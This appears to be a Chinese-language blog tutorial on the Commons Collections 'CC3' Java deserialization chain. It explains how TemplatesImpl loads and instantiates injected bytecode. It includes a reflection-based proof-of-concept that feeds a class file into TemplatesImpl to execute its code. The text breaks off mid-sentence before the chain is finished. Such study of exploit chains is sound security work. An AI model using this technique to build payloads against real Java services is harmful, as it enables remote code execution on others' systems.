CC3

cc_link_three0x00前言这里要单独学cc链子三是因为它的调用方式不是执行命令而是代码执行,是一种动态类加载机制来执行代码,然后类加载的时候要用类加载器
0x01开整首先明白调用机制loadClass---findClass---defineclass这三个流程
就再dfineClass的时候执行代码块之类的嘛所以我们找找defineClass有没有利用的的点,找了很多defineClass都是私有的和保护的我们要找一个公开的方法
最后在com.sun.org.apache.xalan.internal.xsltc.trax包下面发现了这个class的方法,只能在本包下访问的限制,然后再追进去看看

CC3

文章插图
然后继续向上寻找有三个值,看看三个值有没有代码执行的可能性
CC3

文章插图
最后在第三个调用哪里发现了一个类加载的机制newInstance()
CC3

文章插图
然而它还是私有的继续往上找一下找到了上一层就发现了公开的方法
CC3

文章插图
这条链子大概就是这样发现了,然后就执行到这个newInstance()然后执行对应文件的代码就可以加载到
开始手搓确定一下代码执行的地方先确定一下这个类它确定是继承了这些类的,是可以序列化的
CC3

文章插图
然后确定一下各个位置的值是怎么判断的
private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setOverrideDefaultParser(_overrideDefaultParser);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}
  • _name需要能为空因为我们要继续向下追踪
然后追下去发现
CC3

文章插图
因为我们要调用definclass嘛然后所以_bytecodes也不能为空
_tfactory需要调用_getExternalExtensionsMap()方法所以它也不能为空不然会出现空指针异常的问题
然后就写个正面的payload来看一下嘛
public class cc_link_3 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {//类加载要使用类加载器TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field _namefield = templatesClass.getDeclaredField("_name");_namefield.setAccessible(true);Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);_namefield.set(templates,"aaaaa");byte[] code = Files.readAllBytes(Paths.get("C://test.class"));byte[][] codes={code};bytecodesField.set(templates,codes);Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());templates.newTransformer();}}然后在执行的时候爆了空指针异常嘛可能就是因为在defineclass那个函数里面有些值的赋值没有赋值好
CC3

文章插图
在这个点解读一下就是我们加载的类的父类的名称必须是
CC3

文章插图

经验总结扩展阅读